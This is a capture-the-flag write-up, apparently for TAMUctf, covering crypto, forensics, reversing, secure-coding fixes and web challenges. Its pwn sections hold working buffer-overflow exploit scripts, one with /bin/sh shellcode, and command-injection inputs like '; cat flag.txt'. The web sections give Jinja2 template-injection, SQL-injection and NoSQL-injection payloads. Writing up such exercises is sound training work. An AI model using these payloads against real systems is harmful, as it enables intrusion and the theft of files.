Crypto

-.-

We got a file called “flag.txt”, and it shows below

It seems to be Morse code, and what we can do is that we can change “dah” to “-” and “dit”, “di” to “."
I make a file called solve.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
with open("flag.txt") as f:
	context = f.readline()
s = context.split(" ")

output = ''
num = 0
for i in s:
	for j in i.split("-"):
		if j == "dah":
			output += "-"
		elif j == "di" or "dit":
			output += "."
	output += " "
	
print output

By executing it, we can get as follows.

Local Picture

By sending it to online Morse code translator, we get 0X57702A6C58744751386538716E6D4D59552A737646486B6A4974 2A5251264A705A766A6D2125254B446B6670235E4E39666B3464553 46C423372546F5430505A516D4351454B5942345A4D762A21466B38 6C25626A716C504D6649476D612525467A4720676967656D7B43316 9634B5F636C31434B2D7930755F683476335F6D3449317D20757634 767A4B5A7434796F6D694453684C6D385145466E5574774A404E754 F59665826387540476E213125547176305663527A56216A21767575 7038426A644E49714535772324255634555A4F595A327A375432357 43726784C40574F373431305149
By translating hex into ascii, we get Wp*lXtGQ8e8qnmMYU*svFHkjIt*RQ&JpZvjm!%%KDkfp#^N9fk4dU4lB3 rToT0PZQmCQEKYB4ZMv*!Fk8l%bjqlPMfIGma%%FzG gigem{C1icK_cl1 CK-y0u_h4v3_m4I1} uv4vzKZt4yomiDShLm8QEFnUtwJ@NuOYfX&8u@Gn !1%Tqv0VcRzV!j!vuup8BjdNIqE5w#$%V4UZOYZ2z7T25t7&xL@WO7410QI

We can get the flag in the middle gigem{C1icK_cl1CK-y0u_h4v3_m4I1}


RSAaaay

Local Picture

From the topic, it shows that it is relevant to RSA.

The code to solve this problem is as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b%a,a)
    return (g, x - (b//a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('No modular inverse')
    return x%m

p = 0
q = 0
N = 2531257
e = 43

# Find p and q   
for i in range(2, N):
   if N % i == 0:
       p = i
       q = N / i

phi = (p - 1) * (q - 1)
d = modinv(e, phi)



c = "906851 991083 1780304 2380434 438490 356019 921472 822283 817856 556932 2102538 2501908 2211404 991083 1562919 38268"
m = ""
l = []
for i in c.split(" "):
	m += str(pow(int(i), d, N))
	m += " "

# m = 103 105103 101109 12383 97118 97103 10195 83105 12095 70108 121105 110103 9584 105103 101114 115125
# Seems like ascii, we have to revise it
flag = ""
m = "103 105 103 101 109 123 83 97 118 97 103 101 95 83 105 120 95 70 108 121 105 110 103 95 84 105 103 101 114 115 125"
for i in m.split(" "):
	flag += chr(int(i))

print flag

We can take the given number pair as the public key, which means treat 2531257 as N and 43 as e.

Try to find 2 primes p and q that N = p * q

After we got p and q, we can calculate ɸ(N) = (p - 1) * (q - 1)

Finally, we can get d by ed ≡ 1 (mod ɸ(N)), which means d is the modular inverse of e modulo ɸ(N)

Take 906851 991083 1780304 2380434 438490 356019 921472 822283 817856 556932 2102538 2501908 2211404 991083 1562919 38268 as cipher text, and m = c^d (mod N).

By doing so, we can get m = 103 105103 101109 12383 97118 97103 10195 83105 12095 70108 121105 110103 9584 105103 101114 115125. It looks like ASCII code, but we have to revise it.

Split it properly and covert to ASCII code and we can get the flag gigem{Savage_Six_Flying_Tigers}


:)

Local Picture

1
2
3
4
5
6
7
8
import base64
from itertools import izip, cycle

c = "XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH"
c1 = base64.b64decode(c)

xored = ''.join(chr(ord(x) ^ ord(y)) for (x, y) in izip(c1, cycle(":)")))
print xored

The given ciphertext looks encoded by base64, so I decode it with base64. However, we cannot get the flag after having it decoded.

The topic :) seems useful. We can try to XOR the decoded message with :), and we can get the flag gigem{I'm not superstitious, but I am a little stitious.}.


DriveByInc

0_instruction

Local Picture

We can find malicious coinhive javascript in the source code.

Coinhive is a Monero mining program, so it should not be on the webpage.


MISC

Who am I ?

Local Picture

With dig tamuctf.com command, we can get the answer 52.33.57.247.

Local Picture


Who do I trust ?

Local Picture

By looking at the certificate, we can get the answer Let's Encrypt Authority X3.

Local Picture


Where am I ?

Local Picture

By Using the website https://www.ez2o.com/App/Net/IP, we can find the answer is Boardman.


I heard you like files

In this task, we got an image file art.png

Local Picture

Using binwalk, we can see that there are some files hidden in the image file. Using foremost, we can get a pdf file, a zip file, and an image file.

After unzipping the zip file, it looks like a word document with some XML file and image called image1.png.

If we use the command strings word/media/image1.png, we can get as follows

Local Picture

In the end, ZmxhZ3tQMGxZdEByX0QwX3kwdV9HM3RfSXRfTjB3P30K seems a little bit weird, using base64 to decode this string, and the flag flag{P0lYt@r_D0_y0u_G3t_It_N0w?} appears.


Hello World

We got a file called hello_world.cpp, its first several lines look like this

Local Picture

And its bottom looks like this

Local Picture

In the first several lines, every line is filled with space or tab, and this fixed pattern is stopped in the middle of the file.

Local Picture

It seems like there is binary code hidden from line 1 to line 89, and we can eliminate the first 2 spaces in each line to make it 8 characters.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
with open("hello_world.cpp") as f:
	content = f.readlines()

counter = 0

code = ''
for i in content:
	for j in i[2:]:
		if j == ' ':
			code += '0'
		elif j == '\t':
			code += '1'
	counter += 1
	if counter == 89:
		break
	else:
		code += ' '

flag = ''
for k in code.split(' '):
	flag += chr(int('0b' + k, 2))

print flag

Replace space as 0 and tab as 1. Fially, we can get the flag gigem{0h_my_wh4t_sp4c1ng_y0u_h4v3}.


Pwn

Pwn1

We got a file pwn1.dms. If we look at its pseudocode, it looks like this

Local Picture

For the first two questions, we can directly answer them. However, for the third, we have to add some stuff.

We have to put something in s and cover to v5. char s is at esp + 1h, and int v5 is at esp + 2Ch. There are 2Ch - 1h = 2Bh bytes, which are 43 bytes between them.

Finally, for s, we give it "A"*43 for padding and 0xdea110c8 in the end, which is hex of -559869752.

And we can get the flag gigem{34sy_CC428ECD75A0D392}.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *

p = remote('pwn.tamuctf.com', 4321)

p.recvuntil('What... is your name?\n')
p.sendline('Sir Lancelot of Camelot')
p.recvuntil('What... is your quest?\n')
p.sendline('To seek the Holy Grail.')
p.recvuntil('What... is my secret?\n')

s = ''
s += "A"*43+p32(0xdea110c8)

p.sendline(s)


p.interactive()

Pwn2

This time we get a file pwn2.dms, and its pseudocode looks like this.

Local Picture

Local Picture

Local Picture

We have to carefully select our input, so that in the function select_func we can modify v3 from src in line 7, which is strncpy.

char dest is at esp + Eh, while v3 is at esp + 2Ch.

The bytes between char dest and v3 are 2Ch - Eh = 1Eh, which are 30 bytes.

Let’s look at the address of function two and function print_flag.

Local Picture

Local Picture

The address of function two is 000006AD, while the address of function print_flag is 000006D8.

v3 is set to 000006AD in line 6. If we make char dest overflow, we can modify the value of v3.

We need 30 paddings as we mentioned above. By adding 0xD8 after the paddings, we can change 000006AD into 000006D8, which is the address of the function print_flag.

Finally, we can get the flag gigem{4ll_17_74k35_15_0n3}.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *

p = remote('pwn.tamuctf.com', 4322)

p.recvuntil('Which function would you like to call?\n')

s = ''
s += "A"*30+p32(0xd8)

p.sendline(s)

p.interactive()

Pwn3

This time we get pwn3.dms, and its pseudo code looks like this.

Local Picture

Local Picture

If we check its security, we will notice that it is NX disabled.

Local Picture

What we do is that we get the address of s, and we keep it.

The payload we send will be stored in s, which starts with the shellcode of Linux x86.

I need to fill the payload with paddings until the length is 302 bytes because from s, we need 12Ah to reach ebp, which is 298 bytes, and we add another four bytes to cover ebp.

Finally, add the address of s at the end of the payload so that the return address will be substituted by the address of s. When we return from the address, the shellcode will be executed.

We can get the flag, the demonstration is as follows,

Local Picture

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *

p = remote('pwn.tamuctf.com', 4323)

shellcode = ''
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

p.recvuntil('Take this, you might need it on your journey ', drop=True)
addr = int(p.recvuntil('!\n', drop=True), 16)

s = shellcode.ljust(302, 'A') + p32(addr)

p.sendline(s)
p.interactive()

Pwn4

This time we get pwn4.dms, and its pseudo code looks like this.

Local Picture

Local Picture

Local Picture

As we can see, the program asks us to provide the arguments for ls.

If the slash is not contained, the program will execute the command the user input.

We can give nothing at first, and it will list the files and directories in the current directory.

After that, We gave ; cat flag.txt, and we can get the flag.

It is shown in the following image.

Local Picture


Pwn5

We get a file pwn5.dms, and its pseudocode looks like this.

Local Picture

Local Picture

Local Picture

Again, the program asks us to provide the arguments for ls.

However, we can only provide the command with 7 characters.

We gave nothing at first, and it will list the files and directories in the current directory.

This time, since the length of ; cat flag.txt is too long that cannot meet the requirement, we gave ;sh instead.

After we get the shell, we can execute the command cat flag.txt to get the flag.

It is shown in the following image.

Local Picture


Reading Rainbow

0_Number_Enumeration

Local Picture

From the given .pcap file, it is obvious that the IP address of the private webserver is 192.168.11.4.

To find out how many hosts made contact with the private server, we can give the filter ip.dst == 192.168.11.4 && (udp || tcp), and take a look at all those IP addresses which is satisfied with the restriction.

Local Picture

From the picture above, except 192.168.11.4, which is the webserver itself, there are 13 distinctive IP addresses.


Reversing

Cheesy

For this challenge, we get a file called reversing1.dms.

By commanding string reversing1.dms, we get the following result.

Local Picture

There are some strings ended with = seem suspicious. Try to decode some of them with base64.

Local Picture

And we get the flag gigem{3a5y_R3v3r51N6!}.


Snakes over cheese

We get a file called reversing2.pyc.

By commanding ./pycdc reversing2.pyc, we can decompile the pyc file.

The code looks like this.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from datetime import datetime
Fqaa = [
    102,
    108,
    97,
    103,
    123,
    100,
    101,
    99,
    111,
    109,
    112,
    105,
    108,
    101,
    125]
XidT = [
    83,
    117,
    112,
    101,
    114,
    83,
    101,
    99,
    114,
    101,
    116,
    75,
    101,
    121]

def main():
    print 'Clock.exe'
    input = raw_input('>: ').strip()
    kUIl = ''
    for i in XidT:
        kUIl += chr(i)

    if input == kUIl:
        alYe = ''
        for i in Fqaa:
            alYe += chr(i)

        print alYe
    else:
        print datetime.now()

if __name__ == '__main__':
    main()

It is obvious that kUIl, which is equal to Xidt, is for verification. The real information is in Fqaa, which will be extracted to alYe.

To get the flag, the code is as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from datetime import datetime
Fqaa = [
    102,
    108,
    97,
    103,
    123,
    100,
    101,
    99,
    111,
    109,
    112,
    105,
    108,
    101,
    125]

def main():
    
    alYe = ''
    for i in Fqaa:
        alYe += chr(i)

    print alYe
    
if __name__ == '__main__':
    main()

And we can get the flag flag{decompile}.


Secure Coding

SQL

Local Picture

Note: This is the source code of the web app Not Another SQLi Challenge.

There are some files in gitlab repository, and this is the part of code for login.

Local Picture

To avoid SQL injection, we used a prepared statement. The code after revision is as follows.

Local Picture

And we can get the flag gigem{the_best_damn_sql_anywhere}.


Pwn

Local Picture

There is a file called vuln.c, and the code is as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>

void echo()
{
	printf("%s", "Enter a word to be echoed:\n");
	char buf[128];
	gets(buf);
	printf("%s\n", buf);
}

int main()
{
	echo();
}

It may cause buffer overflow using gets(buf). Instead of using it, we use fgets(buf, 128, stdin).

The modified code is as follows.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>

void echo()
{
	printf("%s", "Enter a word to be echoed:\n");
	char buf[128];
	fgets(buf, 128, stdin);
	printf("%s\n", buf);
}

int main()
{
	echo();
}

And we can get the flag gigem{check_that_buffer_size_baby}.


Science

Local Picture

Note: This is the project of the web app Science!.

The original code for the main function of science is as follows.

Local Picture

With render_template_string, it may cause some bugs regarding Flask.

Instead of returning the template after rendering, we return the template directly.

The modified code is as follows.

Local Picture

And the flag is gigem{br0k3n_fl4sk_2d88bb862569}.


Login App 2

Local Picture

Note: This is the source code of Login App.

The original code for login is as follows.

Local Picture

The database may be exploited by NoSQL injection. We can use the $in selector to avoid this exploitation.

The modified code is as follows.

Local Picture

And the flag is gigem{3y3_SQL_n0w_6b95d3035a3755a}.


Web

Not Another SQLi Challenge

Local Picture

Note: The source code of this web app is in the challenge SQL.

Try some SQL injection pattern, such as admin’ #, and we can get the flag gigem{f4rm3r5_f4rm3r5_w3'r3_4ll_r16h7}.


Many Gig’ems to you!

For this challenge, we need to find the flag in cookie and source code of the web page.

If we are prudent enough, we can get as follows.

Local Picture

we get gigem{flag_in_

Local Picture

and source_and_

Local Picture

and cookies}

In the end, the flag is gigem{flag_in_source_and_cookies}.


Science!

Local Picture

Note: The source code of this project is in the challenge Science.

Based on the hint, it seems like the webserver is based on Flask.

The steps to test which kind of Flask it used is as follows.

Local Picture

If it does not work, we follow the red arrow to do the subsequent tests.

If it works, we follow the green arrow to do the subsequent tests.

First, try ${7*7}

It does not work, so we try {{7 * 7}}

Local Picture

It works, and {{7 * 7}} becomes 49. Next, we can try {{7*'7'}}.

If it works and the result is 49, it’s twig. If it works and the result is 7777777, it’s jinja2.

Local Picture

It works and shows that it is jinja2.

Check {{ self }}

Local Picture

Check {{ config }}

Local Picture

I also check something such as {{ g }} and {{ session }}, but none of the information seems useful.

Then, I try using {{ [].__class__ }} to get the type of class.

Local Picture

Then, I try using {{ [].__class__.__base__ }} to get the type of the object.

Local Picture

Try using {{ [].__class__.__base__.__subclasses__() }} to get the subclasses.

Local Picture

The 40th subclass is file, we can use {{ [].__class__.__base__.__subclasses__()[40] }} to access it.

Local Picture

Finally, we can use it to access the flag by trying {{ [].__class__.__base__.__subclasses__()[40]('flag.txt').read() }}.

Local Picture

And we can get the flag gigem{5h3_bl1nd3d_m3_w17h_5c13nc3}.


Login App

Local Picture

Note: This is the project of the challenge Login App 2.

If we try to login with some sample data, the result is as follows.

Local Picture

Try to use some input to trigger NoSQL injection.

Local Picture

And we can get the flag gigem{n0_sql?_n0_pr0bl3m_8a8651c31f16f5dea}